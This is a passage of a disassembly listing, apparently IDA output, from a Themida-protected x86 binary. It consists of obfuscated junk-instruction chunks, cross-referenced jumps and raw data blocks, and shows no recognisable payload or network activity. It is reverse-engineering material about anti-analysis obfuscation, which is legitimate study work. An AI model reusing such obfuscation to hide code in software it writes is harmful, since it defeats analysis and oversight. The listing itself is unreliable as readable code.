		dd 0A7B9515Eh, 29D56D29h, 0BE5659CEh, 6D283EEEh, 8146D6F7h
		dd 0B3461FF6h, 77EE817Fh, 0C1508642h, 0C68104EEh, 171433C8h
		dd 8E9F029h, 8900002Bh,	0DEE92434h, 89FFFFC4h, 0EC832414h
		dd 242C8904h, 0BA525D54h, 4, 1717C581h,	0C581562Ch, 35935EB2h
		dd 0ED81D501h, 35935EB2h, 0FFBE3CE9h, 24048FFFh, 8324248Bh
		dd 43302C0h, 24043124h,	5C240433h, 2424D366h, 43EE99Ch
		dd 8B66FFFFh, 54532404h, 5B2434FFh, 5704C483h, 7A210DBFh
		dd 6694E934h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5522E6:				; CODE XREF: Themida_:00546C4Fj
		mov	[esp], esi
		jmp	loc_54AF09
; ---------------------------------------------------------------------------
		dw 0F755h
		dd 0A3E92414h
		db 63h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5522F7:				; CODE XREF: Themida_:00545D40j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_557AFD
; ---------------------------------------------------------------------------


loc_55230A:				; CODE XREF: Themida_:00556613j
		jmp	loc_54270C
; ---------------------------------------------------------------------------
		db 8Fh
		dd 4832404h, 348B0424h,	4C48124h, 0E9000000h, 0FFFF1679h
		dd 83240489h, 8F5404ECh, 4832404h, 48B0424h, 4C48124h
		dd 57000000h, 33C868h, 24048900h, 495FE9h, 640B800h, 0BF2D68ACh
		dd 0E92E21DAh, 0FFFFBB6Ch, 0FF59692Ch, 34FF2434h, 93C8E924h
		dd 83BDFFFFh, 0F732EE63h, 488DE9D5h, 74FF0000h,	0E95B0424h
		dd 3EFFh, 240C8B66h, 8904EC83h,	44E92414h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55238B:				; CODE XREF: Themida_:005558CAj
		pop	ebp
		jmp	loc_554108
; ---------------------------------------------------------------------------
		db 0ADh, 31h, 0D8h
		dd 105C68h, 240C8900h, 7F5768h,	24148900h, 0C06A8968h
		dd 24148B7Fh, 4C481h, 61E90000h, 28FFFF5Ah, 0B65259EBh
		dd 0E9C6FE71h, 0FFFFA106h
; ---------------------------------------------------------------------------


loc_5523C4:				; CODE XREF: Themida_:00545CEEj
		push	edi
		mov	edi, 89D5E6Dh
		inc	edi
		neg	edi
		xor	edi, 0F9CAADE1h
		and	edx, edi
		pop	edi
		neg	edx
		inc	edx
		jmp	loc_5428B5
; ---------------------------------------------------------------------------


loc_5523DE:				; CODE XREF: Themida_:0054FC6Dj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_55146E
; ---------------------------------------------------------------------------
		dw 0C80Fh
		dd 7E1868h, 24048900h, 0FF030FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5523FD:				; CODE XREF: Themida_:0054D387j
		sub	ecx, 44B634CDh
		pop	edx
		push	65C5h
		mov	[esp], esi
		push	edi
		mov	edi, 0D05C2Dh
		not	edi
		sub	edi, 1E6F6C36h
		jmp	loc_54A4E0
; ---------------------------------------------------------------------------
		db 1
		dd 0C70159C8h, 7FE95258h, 59FFFFD4h, 81D1F75Fh,	193EFBE1h
		dd 0C8E18112h, 81203F34h, 0ED602CE9h, 0EFC18126h, 0E9F7FFBEh
		dd 0FFFFBFA8h, 9D1C77FFh, 1CD25966h, 0B1E99C24h
		db 2, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_55245B:				; CODE XREF: Themida_:0054AFBDj
		push	eax
		mov	eax, 14AC341Dh
		push	6787h
		jmp	loc_550AA2
; ---------------------------------------------------------------------------
		db 50h
		dd 1A1F24B8h, 7EB60D07h, 78E960E1h, 0ACFFFF51h,	0DFE9AE04h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552483:				; CODE XREF: Themida_:0054A907j
		mov	ecx, 4CCC5F16h
		sub	ebx, ecx
		jmp	loc_54E9A7
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 81D6F700h, 219E9BC6h, 5F75E9C1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5524A2:				; CODE XREF: Themida_:005469F0j
		xor	edx, 347E033Bh
		push	edx
		jmp	loc_5528A0
; ---------------------------------------------------------------------------
		dw 6855h
		dd 66D3296Ch, 2E5C15Dh,	738CED81h, 0E9898619h, 5755535Dh
		dd 0AA1ABABFh, 4A7E96Ch, 0BD68FFFFh, 89000073h,	1DB82404h
		dd 813C543Bh, 0BA6956EBh, 92C3811Ah, 811A1F4Bh,	0D56F50C3h
		dd 94C38104h, 29770D05h, 94EB81C3h, 81770D05h, 0D56F50EBh
		dd 92B95104h, 291A1F4Bh, 9A6859CBh, 89000031h, 56B9240Ch
		dd 11ABA69h, 55FE9CBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55251E:				; CODE XREF: Themida_:0055467Ej
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		pop	dword ptr [edi+24h]


loc_552536:				; CODE XREF: Themida_:00542D5Aj
		push	24AEh
		mov	[esp], edi
		mov	edi, esp
		push	eax
		mov	eax, 45AD32EBh
		or	eax, 56363771h
		jmp	loc_546F12
; ---------------------------------------------------------------------------


loc_552550:				; CODE XREF: Themida_:00545104j
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, eax
		mov	eax, [esp]
		jmp	loc_548590
; ---------------------------------------------------------------------------


loc_552565:				; CODE XREF: Themida_:0054A530j
		pop	ebp
		or	eax, eax
		jz	loc_5563EA
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	1E71h
		mov	[esp], esi
		jmp	loc_549C81
; ---------------------------------------------------------------------------


loc_552587:				; CODE XREF: Themida_:00547D96j
		push	esp
		pop	edi
		jmp	loc_556F0C
; ---------------------------------------------------------------------------
		dw 8159h
		dd 2C3h, 241C3300h, 33241C31h, 248B241Ch, 0BB0F6624h, 0E99C2404h
		dd 0FFFF0160h
; ---------------------------------------------------------------------------


loc_5525AC:				; CODE XREF: Themida_:0055587Ej
		pop	edi
		jmp	loc_555D50
; ---------------------------------------------------------------------------


loc_5525B2:				; CODE XREF: Themida_:00545C10j
		push	esi
		push	esp
		pop	esi
		push	ecx
		push	7665h
		mov	[esp], ebp
		mov	ebp, 6B496537h
		jmp	loc_55504B
; ---------------------------------------------------------------------------
		dd 0E904C283h, 2804h, 0E9242C89h, 35FFh, 24048F54h, 9CFAE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5525E2:				; CODE XREF: Themida_:0054976Aj
		push	eax
		mov	al, 0CAh
		xor	al, 54h
		jmp	loc_54E8CF
; ---------------------------------------------------------------------------
		dd 0E5613548h, 8150089Ah, 1B4A2404h, 815F6404h,	41B4AEFh
		dd 24048B64h, 4C481h, 91050000h, 2D701971h, 5CBD1CB3h
		dd 0ECE9F801h, 89FFFF45h, 0E9522404h, 532Eh, 0F8BE5659h
		dd 291D6A73h, 0F538E9F1h, 0CDB9FFFFh, 0E95BCF09h, 0FFFF9B1Ah
		dd 4BEh, 50B85000h, 0E976DE30h,	0FFFF1A1Bh, 5E2123B9h
		dd 30E2E913h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552656:				; CODE XREF: Themida_:00548370j
		mov	esi, [esp]
		jmp	loc_542A10
; ---------------------------------------------------------------------------
		dw 4BDh
		dd 89000000h, 7E95DEFh
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55266B:				; CODE XREF: Themida_:0054F538j
		add	ecx, ebx
		pop	ebx
		not	ecx
		and	ecx, 50E23B85h
		sub	ecx, 7BF13170h
		push	ebx
		jmp	loc_54A55B
; ---------------------------------------------------------------------------


loc_552682:				; CODE XREF: Themida_:00550D01j
		xor	ecx, 0ADC24BD3h
		mov	ebx, ecx
		jmp	loc_551914
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4EC8100h, 89000000h, 45B5240Ch, 54F65166h, 59660124h
		dd 0ED80CDFEh, 59E8283Ah, 7F04D828h, 4368872Ch,	0E9000011h
		dd 0FFFF225Dh, 0A94E981h, 0C9817A78h, 2F2C5390h, 0FFC542E9h
		dd 2474FFFFh, 9153E904h, 0FF2DFFFFh, 0E956B0F4h, 0FFFF2A9Ah
		dd 42474FFh, 0FF2434FFh, 34FF2434h, 24048B24h, 81E38953h
		dd 4C3h, 4C38100h, 87000000h, 835C241Ch, 0EAE904C4h, 55000046h
		dd 0EA520ABDh, 802CE97Fh, 15EFFFFh, 0BB5358C1h,	2, 0E95BD901h
		dd 0FFFFC0C5h, 3B3A6858h, 34890000h, 81E68924h,	4C6h, 0E43FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552742:				; CODE XREF: Themida_:0054F00Fj
		push	ebx
		push	4162BC4h
		pop	ebx
		push	ebx
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		jmp	loc_5529CC
; ---------------------------------------------------------------------------
		db 0BFh
		dd 55A93F3Fh, 8247C01h,	0E8DCE95Fh, 0C689FFFFh,	22DE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55276E:				; CODE XREF: Themida_:00555E6Dj
		pop	eax
		push	4E93h
		mov	[esp], ecx
		push	esi
		push	ecx
		mov	ecx, 46F36545h
		jmp	loc_556746
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8B24048Fh, 9AE92424h, 0E9FFFF3Ch, 0FFFEFF78h, 8904EC83h
		dd 0FD682404h, 582E4F30h, 0B6F6252Dh, 7336E90Eh, 4BBFFFFh
		dd 0E9000000h, 0FFFF12D7h
; ---------------------------------------------------------------------------


loc_5527B4:				; CODE XREF: Themida_:00551968j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_542833
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 59545124h, 0FF2349E9h, 14C780FFh, 5066C7FEh,	0E730EEB4h
		dd 7CE95866h, 0BFFFFF48h, 40692ABCh, 2ECE9h, 28AA0400h
		dd 0E9AA2CC8h, 0FFFF56ACh
; ---------------------------------------------------------------------------


loc_5527F4:				; CODE XREF: Themida_:0054AD59j
		mov	[esp], edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 15EC774Ch
		add	ebp, 66E523ECh
		push	edx
		mov	edx, 5CDA1383h
		sub	edx, 0E0CDE646h
		or	ebp, edx
		pop	edx
		push	2140h
		mov	[esp], edi
		mov	edi, 1DF92E85h
		jmp	loc_550376
; ---------------------------------------------------------------------------


loc_55282E:				; CODE XREF: Themida_:00548ABEj
		xor	esi, 635653DAh
		sub	esi, 61BBB52Dh
		jmp	loc_54F50D
; ---------------------------------------------------------------------------
		db 58h
		dd 0BE655825h, 2F03252Bh, 0D0F729FBh, 1C620D05h, 0E9C1893Bh
		dd 2FCDh
; ---------------------------------------------------------------------------


loc_552858:				; CODE XREF: Themida_:00557289j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		jmp	loc_553AB0
; ---------------------------------------------------------------------------


loc_552867:				; CODE XREF: Themida_:005476F3j
		pop	ecx
		sub	bl, 0F8h
		jmp	loc_54362D
; ---------------------------------------------------------------------------
		dd 240C8B66h, 637168h, 24348900h, 7D7D68h, 36B6E900h, 0EE01FFFFh
		dd 0C6835B5Dh, 24348704h, 0E924248Bh, 0FFFEFE74h
; ---------------------------------------------------------------------------


loc_552898:				; CODE XREF: Themida_:00557AFEj
		shr	ecx, 7
		jmp	loc_54DD2E
; ---------------------------------------------------------------------------


loc_5528A0:				; CODE XREF: Themida_:005524A9j
		pop	ebx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_54AE92
; ---------------------------------------------------------------------------


loc_5528AA:				; CODE XREF: Themida_:0054D072j
		mov	eax, 70ED5DA7h
		jmp	loc_54B633
; ---------------------------------------------------------------------------
		dd 25158EBAh, 41F3E961h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5528BE:				; CODE XREF: Themida_:005558E2j
		push	4135h
		jmp	loc_5513BB
; ---------------------------------------------------------------------------
		dd 5C243C33h, 50242C89h, 4AE9E089h, 81FFFF28h, 0DB7A35C7h
		dd 913DE965h, 5BBDFFFFh, 0E9173A47h, 0FFFF5540h
; ---------------------------------------------------------------------------


loc_5528EC:				; CODE XREF: Themida_:005563ABj
		sub	esp, 4
		mov	[esp], ebp
		mov	bp, 1AD8h
		sub	bp, 3FF3h
		shr	bp, 7
		add	bp, 1E8h
		push	bp
		jmp	loc_54F3A0
; ---------------------------------------------------------------------------
		db 0FFh
		dd 2C8B2434h, 98EDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552916:				; CODE XREF: Themida_:0054BBE4j
		pop	eax
		shr	esi, 7
		push	edx
		mov	edx, 785F2EE3h
		add	edx, 78541B60h
		dec	edx
		not	edx
		inc	edx
		push	esi
		mov	esi, 54F8476Fh
		jmp	loc_548ABA
; ---------------------------------------------------------------------------


loc_552935:				; CODE XREF: Themida_:005529C7j
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	eax, [esp]
		jmp	loc_54A6BC
; ---------------------------------------------------------------------------
		dw 8159h
		dd 0E65984F1h, 2E9C17Eh, 333AE9h, 1EEE8000h, 0E947F680h
		dd 0FFFFA4E8h, 34E9FA29h
		db 4Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552967:				; CODE XREF: Themida_:00548C21j
		mov	ecx, 218F2DBCh
		mov	ebp, 0DE70D243h
		xor	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 2F4E5324h
		add	dword ptr [esp+8], 28253977h
		add	[esp+8], ecx
		sub	dword ptr [esp+8], 28253977h
		jmp	loc_5547E9
; ---------------------------------------------------------------------------
		db 68h
		dd 37B3h, 52243489h, 0FF125EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5529A9:				; CODE XREF: Themida_:00545816j
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		pop	esp
		shr	eax, 18h
		xor	eax, ecx
		push	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_552935
; ---------------------------------------------------------------------------


loc_5529CC:				; CODE XREF: Themida_:00552752j
		pop	ebx
		xor	ebx, 6855672Ah
		sub	ebx, 5512B258h
		mov	ecx, ebx
		pop	ebx
		sub	ecx, 66A3A8Dh
		add	ecx, ebx
		add	ecx, 66A3A8Dh
		pop	ebx
		add	ebx, 785550FCh
		add	ebx, ecx
		sub	ebx, 785550FCh
		jmp	loc_54EAF4
; ---------------------------------------------------------------------------


loc_5529FE:				; CODE XREF: Themida_:00543956j
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_551E8D
; ---------------------------------------------------------------------------
		db 66h,	0C1h, 0E1h
		dd 0E9816602h, 8166FFFFh, 66DFDEF1h, 6659CF89h,	8B66FA31h
		dd 8951243Ch, 4B22E9E1h, 487FFFFh, 24895C24h, 7842E924h
		dd 0FE29FFFFh, 0FF8ADBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552A4D:				; CODE XREF: Themida_:005500CAj
		add	esp, 4
		add	eax, 4
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_54CC41
; ---------------------------------------------------------------------------
		db 0B8h, 0F0h, 61h
		dd 0C6891512h, 0FF58F4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552A81:				; CODE XREF: Themida_:0055556Cj
		mov	edi, 21760DF2h
		add	[esp+8], edi
		pop	edi
		jmp	loc_54C7B4
; ---------------------------------------------------------------------------
		dd 207F83ADh, 0D6840F00h, 68000020h, 97Ch, 0B9240C89h
		dd 4D3A1F2Dh, 0C350E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552AAE:				; CODE XREF: Themida_:00555067j
		push	esp
		mov	edi, [esp]
		jmp	loc_552FB8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0BE561C77h, 62D55947h, 4247401h, 5024348Bh, 0FF87A6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552ACD:				; CODE XREF: Themida_:0055310Cj
		pop	dword ptr [esp]
		jmp	loc_5546EA
; ---------------------------------------------------------------------------
		db 29h,	0FAh, 8Bh
		dd 8953243Ch, 4C381E3h,	0E9000000h, 0FFFFD662h
; ---------------------------------------------------------------------------


loc_552AE8:				; CODE XREF: Themida_:0054A91Fj
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_5446AD
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 8704EA83h, 248B2414h, 242C8924h, 76B668h,	24048900h
		dd 6C26BD55h, 815547D1h, 4ECD2404h, 2D5817B2h, 17B24ECDh
		dd 0DEBA525Dh, 1B82E93h, 0C5895AD0h, 8324048Bh,	6C0104C4h
		dd 0E95D0424h, 4494h, 5858E228h, 8B66D000h, 90682414h
		dd 0E900000Bh, 0FFFF7B06h, 0F281DAF7h, 0F0C0F80Dh, 685AD001h
		dd 48B3h, 0FF240489h, 0FF042474h, 81582434h, 4C4h, 24048F00h
		dd 23E4685Ch, 2C890000h, 2A8F6824h, 3C890000h, 18F76824h
		dd 1BE90000h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552B8F:				; CODE XREF: Themida_:00551E06j
		add	eax, edx
		pop	edx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_550A1E
; ---------------------------------------------------------------------------


loc_552B9D:				; CODE XREF: Themida_:0054AF85j
		add	esi, ebp
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5469A2
; ---------------------------------------------------------------------------


loc_552BBA:				; CODE XREF: Themida_:005574BBj
		push	edi
		not	dword ptr [esp]
		jmp	loc_54B99F
; ---------------------------------------------------------------------------
		db 57h
		dd 0BA16A6BFh, 0A4F78169h, 8969BA16h, 243C8BFAh, 104C483h
		dd 24148BD0h, 4C481h, 0BE90000h
		db 0Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552BE7:				; CODE XREF: Themida_:0055072Cj
		mov	ebp, 301C1BC7h
		shl	ebp, 2
		and	ebp, 7F616445h
		jmp	loc_546E76
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 5BCB850h, 0D0F761E6h, 0FFD1A9E9h, 8BF388FFh,	89572414h
		dd 4C781E7h, 81000000h,	4C7h, 243C8700h, 0FF3E8BE9h, 240C89FFh
		dd 523DB252h, 0D1883DB2h, 0FFCC3DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552C35:				; CODE XREF: Themida_:0054DCE6j
		sub	ebp, ecx
		pop	ecx
		jmp	loc_557B3E
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 6
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552C43:				; CODE XREF: Themida_:00557588j
		pop	ebx
		xor	ecx, 7E3331FDh
		mov	esi, ecx
		pop	ecx
		add	esi, 0FCB38DEh
		and	esi, 486A3EDFh
		sub	esi, 97DB2E19h
		or	edi, esi
		pop	esi
		jmp	loc_542937
; ---------------------------------------------------------------------------
		db 89h
		dd 8168241Ch, 0E9000051h, 0FFFF8AFBh, 242C335Ch, 0FF229EE9h
		dd 0C5815EFFh, 4, 0E9242C87h, 0FFFF7A9Bh, 24048B66h, 6CDB68h
		dd 241C8900h, 0E9565B54h, 0FFFF8A01h, 33241C31h, 335C241Ch
		dd 2C31242Ch, 162AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552CB2:				; CODE XREF: Themida_:00544205j
		or	ebx, ebx
		jnz	loc_546617
		push	1CE5h
		mov	[esp], edx
		jmp	loc_5508F0
; ---------------------------------------------------------------------------
		db 5
		dd 0EF9FC8D5h, 0FFAB4FE9h, 0F6815FFFh, 83EADE7Dh, 0B866851h
		dd 14890000h, 89F28924h, 0CA895AD1h, 0FF78F2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552CED:				; CODE XREF: Themida_:0054B5C8j
		inc	esi
		shr	esi, 1
		xor	esi, 2308CD24h
		jmp	loc_543A5E
; ---------------------------------------------------------------------------


loc_552CFB:				; CODE XREF: Themida_:00554FA6j
		mov	[esp], eax
		mov	ah, 6Eh
		jmp	loc_547B2D
; ---------------------------------------------------------------------------
		db 83h,	0C0h, 4
		dd 0FF3135E9h, 0EA0158FFh, 215E68h, 243C8900h, 9E06DEBFh
		dd 0FFFA017Ch, 0E95F2434h, 0FFFF7595h, 9030DB9h, 0C183417Ah
		dd 2E1C101h, 2414F751h,	83240C8Bh, 0F18104C4h, 17DBF3C7h
		dd 34FFCE01h, 240C8B24h, 0FF6E06E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552D51:				; CODE XREF: Themida_:00546742j
		mov	ah, 0EBh
		add	bl, ah
		pop	ax
		shl	bl, 3
		sub	bl, 0A8h
		add	cl, bl
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 2
		jmp	loc_5476E1
; ---------------------------------------------------------------------------
a1He		db '1Ãh…',9,0
		dw 8900h
		dd 8DE92404h, 0F7FFFEF9h, 97F381DBh, 0E9356C23h, 0FFFF2CFDh
; ---------------------------------------------------------------------------


loc_552D8C:				; CODE XREF: Themida_:0054CFC7j
		neg	ecx
		sub	ecx, 321E4EB5h
		jmp	loc_54EF42
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 8904C483h, 0FD0159CFh, 6277E95Fh, 1A2DFFFFh,	5F410B36h
		dd 7DCE68h, 7EC8E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552DBA:				; CODE XREF: Themida_:00544D0Fj
		sub	ecx, 8777E470h
		mov	edi, ecx
		mov	ecx, [esp]
		jmp	loc_54AFFC
; ---------------------------------------------------------------------------


loc_552DCA:				; CODE XREF: Themida_:00553365j
		push	ebx
		jmp	loc_5454E5
; ---------------------------------------------------------------------------
		dd 8B240C87h, 4872424h,	0FF665C24h, 0E99C240Ch,	0FFFEF928h
		dd 9D1C77FFh, 24041158h, 0F91AE99Ch, 0EC81FFFEh, 4, 0B3241C89h
		dd 5BD8003Ch, 0B9E97D2Ch, 80FFFF4Bh, 8850F1EDh,	58E688ECh
		dd 81240C8Bh, 4C4h, 66F02800h, 281C045Ah, 6E91E9D8h, 2DADFFFFh
		dd 6A570260h, 0DEF68h, 0EA85E900h, 0EFBAFFFFh, 8157F447h
		dd 0D0574DF2h, 4AEAD104h, 42E4F281h, 0CA812B35h, 6A1C3EA1h
		dd 1AD7F281h, 0BE560DD8h, 56C35F04h, 0C681DEF7h, 1CF55E9Ah
		dd 0FF96EE81h, 0EE81C631h, 6AA8652Eh, 0C681D629h, 6AA8652Eh
		dd 35E9F287h, 5BFFFFB2h, 0D6685657h, 8B420514h,	0DDE92434h
		dd 8FFFFF27h, 0DDE92404h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552E97:				; CODE XREF: Themida_:00554BBCj
		sub	eax, ebx
		jmp	loc_5539EC
; ---------------------------------------------------------------------------


loc_552E9E:				; CODE XREF: Themida_:00548E7Ej
		pop	ax
		add	cl, dh
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54A6E6
; ---------------------------------------------------------------------------
		db 68h
		dd 26E5h, 0E9242C89h, 0FFFF219Fh, 44E95A54h, 8BFFFFEFh
		dd 0C4832404h, 1A266804h, 3E90000h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552ED7:				; CODE XREF: Themida_:005433ADj
		push	dword ptr [esp]
		jmp	loc_54CA7B
; ---------------------------------------------------------------------------


loc_552EDF:				; CODE XREF: Themida_:0054E652j
		pop	ebx
		jmp	loc_54AB64
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 81h
		dd 4C5h, 0BD2EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552EF2:				; CODE XREF: Themida_:00557A93j
		mov	esp, [esp]
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jnz	loc_5572DA
		push	5B6Ah
		mov	[esp], esi
		push	3B177004h
		pop	esi
		shr	esi, 7
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1
		add	esi, 2BA54067h
		sub	esi, edi
		sub	esi, 2BA54067h
		jmp	loc_546769
; ---------------------------------------------------------------------------


loc_552F32:				; CODE XREF: Themida_:00555A34j
		pop	esp
		jmp	loc_54D5E3
; ---------------------------------------------------------------------------
		dd 4C481h, 37E90000h, 8BFFFF91h, 0F9E92424h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552F4B:				; CODE XREF: Themida_:0054C976j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55353D
; ---------------------------------------------------------------------------
		db 89h,	47h, 24h
		dd 56D23158h, 0FF6AF1E9h, 815E54FFh, 4C6h, 2BE95200h, 80FFFF0Ch
		dd 0CA28D2C2h, 59D2EA80h, 0E99DC280h, 0FFFF5AF8h, 316C68h
		dd 240C8900h, 0FFD9E5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552F91:				; CODE XREF: Themida_:00557243j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_54BE47
; ---------------------------------------------------------------------------
		dw 8156h
		dd 9632434h, 505F5441h,	410963B8h, 0E9C73154h, 0FFFF511Bh
; ---------------------------------------------------------------------------


loc_552FB8:				; CODE XREF: Themida_:00552AB2j
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		sub	edi, 536027C5h
		add	edi, esi
		add	edi, 536027C5h
		pop	esi
		jmp	loc_54A1E1
; ---------------------------------------------------------------------------
		db 0BEh, 0B2h, 12h
		dd 0F589303Eh, 56DDF75Eh, 8C0345BEh, 5EF52125h,	2F0C581h
		dd 0EF0975F3h, 20FDE95Dh, 8B660000h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	edi
		push	eax
		mov	eax, 65F269C9h
		mov	edi, eax
		pop	eax
		push	ebp
		mov	ebp, 3C3C1BF3h
		xor	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		push	ebx
		jmp	loc_5570A9
; ---------------------------------------------------------------------------
		dd 4E981h, 0C870000h, 34895C24h, 2474FF24h, 48F5E04h, 0C895C24h
		dd 0FCCEE924h, 8404FFFFh, 1FE9C328h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553063:				; CODE XREF: Themida_:00554506j
		add	ecx, ebx
		jmp	loc_544DF8
; ---------------------------------------------------------------------------
		dw 0EF80h
		dd 6AE780BDh, 8084F780h, 0FC308DEFh, 8BE1205Bh,	21E92404h
		dd 83FFFFECh, 0C8904ECh, 2563E924h, 0E801FFFFh,	58C7895Dh
		dd 422BF068h, 0E981596Eh, 75A07969h, 0C181F929h, 75A07969h
		dd 83243C8Bh, 83E904C4h, 80FFFF4Dh, 0C328E0EBh,	0FFAFBAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5530BD:				; CODE XREF: Themida_:00545D7Bj
		add	esp, 4
		add	esi, 4
		add	esi, 4
		jmp	loc_548A6D
; ---------------------------------------------------------------------------
		dw 4468h
		dd 0E900003Bh, 0FFFF78CBh
; ---------------------------------------------------------------------------


loc_5530D8:				; CODE XREF: Themida_:00556928j
		pop	ecx
		push	ebx
		jmp	loc_545440
; ---------------------------------------------------------------------------
		db 0D1h
		dd 46BE56E8h, 0E91F5A70h, 0FFFF4454h, 7EE95E54h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5530F3:				; CODE XREF: Themida_:0054C358j
		mov	[esp], ebp
		jmp	loc_55355E
; ---------------------------------------------------------------------------


loc_5530FB:				; CODE XREF: Themida_:00556CCDj
		xor	ecx, ebp
		xchg	eax, ecx
		push	1C98h
		mov	[esp], ecx
		push	6126h
		push	esp
		jmp	loc_552ACD
; ---------------------------------------------------------------------------


loc_553111:				; CODE XREF: Themida_:0054B729j
		mov	[esp], ebp
		push	ebp
		push	esp
		jmp	loc_54D88D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812414h, 4, 0FFE1F3E9h, 7CB4BAFFh, 6C814B2Fh, 594E0824h
		dd 54294FC1h, 44810824h, 594E0824h, 295A4FC1h, 8104247Ch
		dd 0B4042444h, 814B2F7Ch, 0E04246Ch, 8B57FC31h,	0C483243Ch
		dd 24040104h, 52565152h, 0FFD0A9E9h, 0E9C280FFh, 283DC280h
		dd 3DEA80C2h, 0E9B35350h, 0E95BDC88h, 0FFFFF9BCh, 34FFD121h
		dd 2105E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55318A:				; CODE XREF: Themida_:00550189j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_54A2E8
; ---------------------------------------------------------------------------


